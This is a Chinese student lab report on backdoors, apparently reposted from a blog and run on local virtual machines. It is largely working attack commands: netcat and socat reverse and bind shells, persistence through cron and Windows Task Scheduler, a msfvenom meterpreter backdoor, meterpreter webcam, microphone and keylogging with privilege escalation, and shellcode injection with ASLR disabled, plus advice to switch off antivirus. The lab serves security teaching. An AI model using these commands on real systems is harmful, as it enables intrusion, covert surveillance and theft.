zoukankan      html  css  js  c++  java
  • 2019-2020-3 20175229张智敏《网络对抗技术》Exp2 后门原理与实践

    1、基础知识

    1.1 后门概念

    (1)后门:不经过正常认证流程而访问系统的通道。
    (2)包括以下几种(种类):①编译器后门;②操作系统后门;③应用程序后门(最常见);④潜伏于操作系统中或伪装为特定应用的专用后门程序。

    1.2 常用后门工具

    1.2.1 netcat

    netcat,又名nc,ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
    (1)Linux:自带netcat,输入man nc查看其使用说明。

    (2)Windows:课程主页附件中下载ncat.rar解压即可使用。

    1.2.1.1 Win获得Linux Shell

    步骤1:输入ipconfig查看到win端的IP地址为192.168.1.6

    步骤2:在ncat.exe文件目录下输入ncat.exe -l -p 5229打开windows 监听
    步骤3:Linux反弹连接windows:nc 192.168.1.6 5229 -e /bin/sh

    步骤4:windows下获得一个linux shell,可运行任何指令,如ls,pwd

    1.2.1.2 Linux获得Win Shell

    步骤1:输入ifconfig查看到Linux端的IP地址为192.168.190.130

    步骤2:输入nc -l -p 5229在Linux运行监听
    步骤3:在ncat.exe文件目录下输入ncat.exe -e cmd.exe 192.168.190.130 5229,使Windows反弹连接Linux

    步骤4:Linux下看到Windows的命令提示,可运行指令,如dir,ipconfig

    1.2.2 Meterpreter

    1.2.2.1 典型的能生成后门程序的平台

    (1)intersect
    (2)Metaspolit的msfvenom指令
    (3)Veil-evasion

    1.2.2.2 Meterpreter常用功能

    (1)help
    (2)获取Windows命令行界面,以方便执行Windows内置功能指令
    (3)获取ruby交互界面
    (4)进程和迁移,把meterpreter HOOK到其他进程上
    ......

    2、实践步骤

    2.1 使用netcat获取主机操作Shell,cron启动

    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
    具体步骤如下:
    步骤1:crontab指令增加一条定时任务,"-e"表示编辑。

    步骤2:选择编辑器并添加代码
    因为是第一次编辑,故提示选择编辑器,我选择了2,并添加了下面这行代码,表示在每个小时的第20分钟执行后面的那条指令。
    20 * * * * /bin/netcat 192.168.1.6 5229 -e /bin/sh

    步骤3:保存、退出后配置即生效。
    可以通过crontab -l来查看,"-l"表示list。下图为第20分钟执行代码后的结果:

    2.2 使用socat获取主机操作Shell, 任务计划启动

    socat,Netcat++,超级netcat工具。
    步骤1:右击计算机—>点击管理—>点击任务计划程序—>点击创建任务

    步骤2:设置任务名,新建触发器

    步骤3:新建操作
    程序或脚本中选择socat.exe文件的路径,添加参数中填写tcp-listen:5229 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5229,同时把cmd.exe的stderr重定向到stdout上:

    步骤4:此时可以看到任务的状态为准备就绪

    Step5:当时间到10:11时,此时可以看到任务的状态为正在运行,同时会弹出一个cmd窗口。(不要关闭cmd)

    Step6:在kali中输入指令socat - tcp:192.168.1.6:5229
    此时可以发现已经成功获得了一个shell,下图为输入ipconfigdir的结果

    2.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    步骤1:生成20175229_backdoor.exe文件(在Kali上执行指令)
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.130 LPORT=5229 -f exe > 20175229_backdoor.exe

    参数说明:
    (1)-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    (2)-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    (3)-e 使用的编码器,用于对shellcode变形,为了免杀。
    (4)-i 编码器的迭代次数。如上即使用该编码器编码5次。
    (5)-b badchar是payload中需要去除的字符。
    (6)LHOST 是反弹回连的IP
    (7)LPORT 是回连的端口
    (8)-f 生成文件的类型
    (9)> 输出到哪个文件
    

    步骤2:在Windows下执行ncat.exe -l 5229 > 20175229_backdoor.exe,使被控主机进入接收文件模式
    步骤3:在kali中执行nc 192.168.1.6 5229 < 20175229_backdoor.exe,从下图可以看到文件已经传输成功了

    步骤4:MSF打开监听进程
    输入msfconsole后进行如下操作:
    (1)use exploit/multi/handler,设置payload
    (2)set payload windows/meterpreter/reverse_tcp
    (3)set LHOST 192.168.190.130,设置ip
    (4)set LPORT 5229,设置端口
    (5)show options,查看选项
    (6)exploit,可以看到已经获取到了Windows的shell,可以输入dir来验证(一定要先点一下20175229_backdoor.exe文件再进行exploit操作)

    2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    (1)音频:输入record_mic

    (2)摄像头:输入webcam_snap

    (3)击键记录:输入keyscan_start开始记录,输入keyscan_dump读取击键的记录

    (4)提权:输入getuid查看当前用户,再输入getsystem进行提权

    (5)使用screenshot指令可以进行截屏

    2.5 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    步骤1:下载文件
    在官网(https://www.exploit-db.com/shellcodes)上下载Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)这个文件

    Step2:注入Shellcode
    (1)在第一个终端里关闭地址随机化,输入echo "0" > /proc/sys/kernel/randomize_va_space
    (2)在第一个终端中运行pwn1之后不回车

    (3)在第二个终端中输入ps -ef | grep pwn1查看pwn1的进程号2518

    (4)用GDB追踪该进程,找到栈顶(esp)中存放的地址为0xffffd37c,计算出shellcode地址就是 0xffffd37c+4,即0xffffd380。
    ①在第二个终端启动gdb
    ②输入attach 2518启动gdb调试这个进程。
    ③输入disassemble foo查看到ret的地址为0x080484ae。
    ④输入break *0x080484ae0x080484ae处设置断点。
    ⑤在之前的终端中按一下回车,然后在调试的终端中输入c继续运行。
    ⑥输入info r esp查看栈顶指针所在的位置,并查看改地址存放的数据:

    (5)在第一个终端中中断pwn1运行
    (6)在第二个终端中注入input_shellcode:

    步骤3:在第一个终端中打开msf(msfconsole)控制台,依次输入:

    (1)use exploit/multi/handler,设置payload
    (2)set payload linux/x86/shell_reverse_tcp
    (3)set LHOST 127.0.0.1,设置ip
    (4)set LPORT 4444,设置端口
    (5)show options,查看选项
    (6)exploit ,设置完成,开始监听

    步骤4:运行shellcode
    在第二个终端输入(cat input_shellcode;cat) | ./pwn1运行pwn1文件,在第一个终端中可以看到已经成功调取了shell

    3、问题回答

    3.1 基础问题回答

    3.1.1例举你能想到的一个后门进入到你系统中的可能方式?

    答:在某些第三方网站中下载旧版本的某些应用程序或文件,这些程序有可能会绑定某些可执行文件或程序,留下后门隐患。

    3.1.2 例举你知道的后门如何启动起来(win及linux)的方式?

    答:满足某些条件后自启动(开机自启动,按时启动,点击某个文件时启动等);在cmd或终端中用指令运行;代码注入。

    3.1.3 Meterpreter有哪些给你映像深刻的功能?

    答:通过后门控制被控主机的shell,本次实验中的调用麦克风、摄像头、键盘、读取屏幕。

    3.1.4 如何发现自己有系统有没有被安装后门?

    答:使用杀毒软件或电脑管家进行查杀;查看任务管理器中有没有异常的进程。

    3.2 实验总结与体会

    本次实验让我体会颇深,也觉得挺有意思的,原来“偷窥和操纵”别人的电脑是一件这么有趣的事,有趣归有趣,有一说一,实验中还是遇到了不少麻烦,本以为会顺利完成的一步,偏偏就会卡在那里,真的是让人头秃,原来程序员的头发就是这么没得,哈哈哈哈,本次实验我也学习和了解到许多知识和操作,也明白了电脑管家和杀毒软件的重要性-----真的是太重要了,但是因为杀毒软件和电脑管家也成了我这次实验的“绊脚石”,我相信通过这次实验的学习我会更加深入的学习。

    4、实验中遇到的问题

    (1)Linux中输入ifconfig显示未找到命令
    解决方法:用sudo apt-get install net-tools下载,如果不行,输入export PATH=$PATH:/sbin即可

    (2)Kali不能ping通windows
    解决方法:启用虚拟网络即可

    (3)启动后门程序后被安全软件自动清除
    解决方法:先关闭杀毒软件或者电脑管家

  • 相关阅读:
    正则匹配、替换
    C# 算法
    .Net Core 初体验及总结(内含命令大全)
    docker 开放 2375端口
    docker 中 mysql group by 报错
    微信小程序全局变量改变监听
    Linux 中 IDEA 不能调试(Debug)项目
    JavaMail发送邮件后再通过JavaMail接收格式问题
    Linux 安装 RabbitMQ
    SpringBoot 集成 Swagger
  • 原文地址:https://www.cnblogs.com/zzmzcc/p/12458817.html
Copyright © 2011-2022 走看看